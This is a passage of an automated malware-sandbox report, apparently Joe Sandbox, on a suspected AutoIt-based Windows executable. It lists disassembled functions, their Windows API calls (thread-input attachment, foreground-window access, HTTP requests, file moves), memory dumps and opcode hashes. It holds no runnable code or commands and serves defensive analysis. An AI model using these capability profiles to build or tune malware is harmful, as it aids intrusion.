                              • SendMessageW.USER32(?,0000101E,00000001,?), ref: 00448308
                              • SendMessageW.USER32(?,00001008,?,00000007), ref: 00448320
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$742845
                              • String ID:
                              • API String ID: 1730662999-0
                              • Opcode ID: 6a3a0ce9ab1f2311975bf00a061da1b0f9e556c56634a45a126b5d9c196b7e2c
                              • Instruction ID: c7c5d5d6f9bf0949bb943eac7ac5a8ec30049dd2ce11923e35461b50cec8bdb0
                              • Opcode Fuzzy Hash: 6a3a0ce9ab1f2311975bf00a061da1b0f9e556c56634a45a126b5d9c196b7e2c
                              • Instruction Fuzzy Hash: 97617C70A00208AFEB10DF94DC81FEE77B9FF49714F10429AF914AB291DBB5AA41CB54
                              Function 00434621 Relevance: 15.1, APIs: 10, Instructions: 98threadCOMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentThreadId.KERNEL32 ref: 00434643
                              • GetForegroundWindow.USER32(00000000), ref: 00434655
                              • GetWindowThreadProcessId.USER32(00000000), ref: 0043465C
                              • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00434671
                              • GetWindowThreadProcessId.USER32(?,?), ref: 0043467F
                              • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00434698
                              • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 004346A6
                              • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 004346F3
                              • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00434707
                              • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00434712
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                              • String ID:
                              • API String ID: 2156557900-0
                              • Opcode ID: 67cee910062edc5350ae4d2b9d1366d6ad4b01d413104696f98c87e4c7643c1b
                              • Instruction ID: 33c2ceff45d8cb0672f592c0823183733d26e7ad7419b63083ab10cfbc882f35
                              • Opcode Fuzzy Hash: 67cee910062edc5350ae4d2b9d1366d6ad4b01d413104696f98c87e4c7643c1b
                              • Instruction Fuzzy Hash: 98313EB2600204BFDB11DF69DC859AEB7A9FB9A310F00552AF905D7250E778AD40CB6C
                              Function 0046943F Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 287COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                              • API String ID: 0-1603158881
                              • Opcode ID: b2205c720eb57eaa9acd20c5cdad8c47631596d61f09c649adc7dd6ac6f1094b
                              • Instruction ID: 400245e8055df5988f0e80dfbae95eacb55e3b8a933f722a5dc1e2c8929bf265
                              • Opcode Fuzzy Hash: b2205c720eb57eaa9acd20c5cdad8c47631596d61f09c649adc7dd6ac6f1094b
                              • Instruction Fuzzy Hash: FAA162B5800204ABDF00EF61D8C1BEA3368AF54349F58857BEC096B146EB7D6909D77A
                              Function 004485CB Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109windowCOMMON
                              Download Yara Rule
                              APIs
                              • CreateMenu.USER32 ref: 00448603
                              • SetMenu.USER32(?,00000000), ref: 00448613
                              • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00448697
                              • IsMenu.USER32(?), ref: 004486AB
                              • CreatePopupMenu.USER32 ref: 004486B5
                              • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 004486EC
                              • DrawMenuBar.USER32 ref: 004486F5
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Menu$CreateItem$DrawInfoInsertPopup
                              • String ID: 0
                              • API String ID: 161812096-4108050209
                              • Opcode ID: 5f9c542d8f07ae56d95057f828c3334b95156dd137b7db0efda9360fb5a3d221
                              • Instruction ID: 1651b4fd0bf3e4e6d8e032b2651979207be8780685d2f09cc615cc8e1c1775d8
                              • Opcode Fuzzy Hash: 5f9c542d8f07ae56d95057f828c3334b95156dd137b7db0efda9360fb5a3d221
                              • Instruction Fuzzy Hash: 9D418B75A01209AFEB40DF98D884ADEB7B4FF49314F10815EED189B340DB74A851CFA8
                              Function 0047679F Relevance: 13.8, APIs: 9, Instructions: 307COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: dfbce8e1a613c74e072c21ad89e7d3e14579d4917e2b3053f757fec35ca8a5d3
                              • Instruction ID: 0df76164974c5272bb459d6cb57aadea20bc0786d7edd9cc69ce034119999088
                              • Opcode Fuzzy Hash: dfbce8e1a613c74e072c21ad89e7d3e14579d4917e2b3053f757fec35ca8a5d3
                              • Instruction Fuzzy Hash: 10A1CE726083009FD310EF65D886B5BB3E9EBC4718F108E2EF559E7281D679E804CB96
                              Function 004561DA Relevance: 13.7, APIs: 9, Instructions: 164COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b2351d13dc7e01734d52893050a6426585663f8e33c7fb02d488baa67b0c7faf
                              • Instruction ID: d12da5a9263b129e99c802cec43d72d92cc496201e336192e500ad81068e5f87
                              • Opcode Fuzzy Hash: b2351d13dc7e01734d52893050a6426585663f8e33c7fb02d488baa67b0c7faf
                              • Instruction Fuzzy Hash: D7519C70600305ABEB20DF69CC81F9B77A8AB08715F50462AFE05DB3C1E7B5E8588B58
                              Function 00453893 Relevance: 13.7, APIs: 9, Instructions: 158filestringCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00410120: GetFullPathNameW.KERNEL32(00000000,00000104,004A7F6C,0040F545,004A7F6C,004A90E8,004A7F6C,?,0040F545), ref: 0041013C
                                • Part of subcall function 00433998: GetFileAttributesW.KERNEL32(?), ref: 0043399F
                              • lstrcmpiW.KERNEL32(?,?), ref: 00453900
                              • MoveFileW.KERNEL32(?,?), ref: 00453932
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: File$AttributesFullMoveNamePathlstrcmpi
                              • String ID:
                              • API String ID: 978794511-0
                              • Opcode ID: e7576e1258f6bbb5b55b57ee2c4336deeb121e8720ac0ec1c8be93e036d3feb8
                              • Instruction ID: 27746a5f3a3ee1b1e58f24b17d6851fe0efcb48f315c8e59f2eb92c6bb7fc6f1
                              • Opcode Fuzzy Hash: e7576e1258f6bbb5b55b57ee2c4336deeb121e8720ac0ec1c8be93e036d3feb8
                              • Instruction Fuzzy Hash: 295155B2C0021996CF20EFA1DD45BEEB379AF44305F0445DEEA0DA3101EB79AB98CB55
                              Function 00441165 Relevance: 13.6, APIs: 9, Instructions: 142COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: dd945b6e1d8e8d9855cf24d2d3706bb91709aa24080d3beeb23df65cd9890c42
                              • Instruction ID: 5433ce91f60fc94fc18d391a2a535eeaa569d09d9a52eba385401fd30cec28f3
                              • Opcode Fuzzy Hash: dd945b6e1d8e8d9855cf24d2d3706bb91709aa24080d3beeb23df65cd9890c42
                              • Instruction Fuzzy Hash: 5B41C4322142405AF3619B6DFCC4BEBBB98FBA6324F10056FF185E55A0C3EA74C58769
                              Function 00432704 Relevance: 13.5, APIs: 9, Instructions: 42COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ClearVariant
                              • String ID:
                              • API String ID: 1473721057-0
                              • Opcode ID: 3e0aaa4ed6ce8b6007e7bdda37da77eca1e161273c17b4dd860825949f7c6934
                              • Instruction ID: 82c0e5a8bed1f7f82a0371e607e4af2e63fad7cf90771a3a9635cac59f663638
                              • Opcode Fuzzy Hash: 3e0aaa4ed6ce8b6007e7bdda37da77eca1e161273c17b4dd860825949f7c6934
                              • Instruction Fuzzy Hash: C301ECB6000B486AD630E7B9DC84FD7B7ED6B85600F018E1DE69A82514DA75F188CB64
                              Function 0044F0B3 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 389COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove$_memcmp
                              • String ID: '$\$h
                              • API String ID: 2205784470-1303700344
                              • Opcode ID: b142f59b2296442f2f65cbc20b4c9604eb51a9c16c8aaf0febd8f469beae5ca2
                              • Instruction ID: e67660c870af743a7fabfec7c4e9e8b186464fd05e4f656457aecd1ba61caca8
                              • Opcode Fuzzy Hash: b142f59b2296442f2f65cbc20b4c9604eb51a9c16c8aaf0febd8f469beae5ca2
                              • Instruction Fuzzy Hash: 5CE1C070A002498FDB18CFA9D8806BEFBF2FF89304F28816ED84697341D778A945CB54
                              Function 0045EA0F Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 325timeCOMMON
                              Download Yara Rule
                              APIs
                              • VariantInit.OLEAUT32(00000000), ref: 0045EA56
                              • VariantCopy.OLEAUT32(00000000), ref: 0045EA60
                              • VariantClear.OLEAUT32 ref: 0045EA6D
                              • VariantTimeToSystemTime.OLEAUT32 ref: 0045EC06
                              • __swprintf.LIBCMT ref: 0045EC33
                              • VariantInit.OLEAUT32(00000000), ref: 0045ECEE
                              Strings
                              • %4d%02d%02d%02d%02d%02d, xrefs: 0045EC2D
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Variant$InitTime$ClearCopySystem__swprintf
                              • String ID: %4d%02d%02d%02d%02d%02d
                              • API String ID: 2441338619-1568723262
                              • Opcode ID: 35eb9c3aeff660f135fd63a8918d5c45c4a90ea0b18b9c33d96ad8571bc730e4
                              • Instruction ID: 6ef9d3a4897ddb850998a39013325e9d2daf595bbef4806ea59c93c68b265cd6
                              • Opcode Fuzzy Hash: 35eb9c3aeff660f135fd63a8918d5c45c4a90ea0b18b9c33d96ad8571bc730e4
                              • Instruction Fuzzy Hash: F8A10873A0061487CB209F5AE48066AF7B0FF84721F1485AFED849B341C736AD99D7E5
                              Function 004091B0 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 324sleepCOMMON
                              Download Yara Rule
                              APIs
                              • InterlockedIncrement.KERNEL32(004A7F04), ref: 0042C659
                              • InterlockedDecrement.KERNEL32(004A7F04), ref: 0042C677
                              • Sleep.KERNEL32(0000000A), ref: 0042C67F
                              • InterlockedIncrement.KERNEL32(004A7F04), ref: 0042C68A
                              • InterlockedDecrement.KERNEL32(004A7F04), ref: 0042C73C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Interlocked$DecrementIncrement$Sleep
                              • String ID: @COM_EVENTOBJ
                              • API String ID: 327565842-2228938565
                              • Opcode ID: ca0223daa9e96e83c575322b086aef175ea6f60956e985fc72e5b4b432ff0b62
                              • Instruction ID: 079f2a2c733a9a3e151bbe14bd9981fb61a061d6167fc58a91b905d371dd4d86
                              • Opcode Fuzzy Hash: ca0223daa9e96e83c575322b086aef175ea6f60956e985fc72e5b4b432ff0b62
                              • Instruction Fuzzy Hash: 18D1D271A002198FDB10EF94C985BEEB7B0FF45304F60856AE5057B392D778AE46CB98
                              Function 0047025C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 288COMMON
                              Download Yara Rule
                              APIs
                              • VariantClear.OLEAUT32(?), ref: 0047031B
                              • VariantClear.OLEAUT32(?), ref: 0047044F
                              • VariantInit.OLEAUT32(?), ref: 004704A3
                              • DispCallFunc.OLEAUT32(?,?,?,00000015,?,?,?,?), ref: 00470504
                              • VariantClear.OLEAUT32(?), ref: 00470516
                                • Part of subcall function 00435481: VariantCopy.OLEAUT32(?,?), ref: 00435492
                              • VariantCopy.OLEAUT32(?,?), ref: 0047057A
                                • Part of subcall function 00435403: VariantClear.OLEAUT32(?), ref: 00435414
                              • VariantClear.OLEAUT32(00000000), ref: 0047060D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Variant$Clear$Copy$CallDispFuncInit
                              • String ID: H
                              • API String ID: 3613100350-2852464175
                              • Opcode ID: f2b9533c7a0a825d738ebca76906f6301bd96a0988b7340563647801aa66eb79
                              • Instruction ID: 4e55d858753f5aac0b63ea9498fb9ef25a468b81cfd7169f1740116cc4944d08
                              • Opcode Fuzzy Hash: f2b9533c7a0a825d738ebca76906f6301bd96a0988b7340563647801aa66eb79
                              • Instruction Fuzzy Hash: 93B15BB5605311EFD710DF54C880A6BB3A4FF88308F049A2EFA8997351D738E951CB9A
                              Function 00401CB0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 240COMMON
                              Download Yara Rule
                              APIs
                              • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401D06
                              • 74285CF0.USER32(?), ref: 00426F50
                              • UnregisterHotKey.USER32(?), ref: 00426F77
                              • FreeLibrary.KERNEL32(?), ref: 0042701F
                              • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00427050
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Free$74285LibrarySendStringUnregisterVirtual
                              • String ID: close all
                              • API String ID: 3499181032-3243417748
                              • Opcode ID: 4fd900de9a28da208b58a3ba22ecdd4c26f042792ef41b4fe823b5ed5eb78ac9
                              • Instruction ID: 89fc9d45334329c88beddca7a6314a06ce6e15860ee53b488cbf8147960762b2
                              • Opcode Fuzzy Hash: 4fd900de9a28da208b58a3ba22ecdd4c26f042792ef41b4fe823b5ed5eb78ac9
                              • Instruction Fuzzy Hash: 9BA1C174710212CFC710EF15C985B5AF3A8BF48304F5045AEE909672A2CB78BD96CF99
                              Function 0044AA86 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 174networkCOMMON
                              Download Yara Rule
                              APIs
                              • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AAC5
                              • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AAFA
                              • InternetQueryOptionW.WININET(00000000,0000001F,00000000,00001000), ref: 0044AB5E
                              • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0044AB74
                              • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB83
                              • HttpQueryInfoW.WININET(00000000,00000005,?,00001000,00000000), ref: 0044ABBB
                                • Part of subcall function 004422CB: GetLastError.KERNEL32 ref: 004422E1
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                              • String ID:
                              • API String ID: 1291720006-3916222277
                              • Opcode ID: 91fdcc8e85295173cca015a6521aec32459a41892940df1d160b2f6c73229ea3
                              • Instruction ID: 89538bfc19842651326e528327905a39262a83d8aa3acd63c003c629d13479a9
                              • Opcode Fuzzy Hash: 91fdcc8e85295173cca015a6521aec32459a41892940df1d160b2f6c73229ea3
                              • Instruction Fuzzy Hash: FA51B1756403087BF710DF56DC86FEBB7A8FB88715F00851EFB0196281D7B8A5148BA8
                              Function 0045FBAC Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 147windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetMenuItemInfoW.USER32(?,FFFFFFFF,00000000,00000030), ref: 0045FC48
                              • IsMenu.USER32(?), ref: 0045FC5F
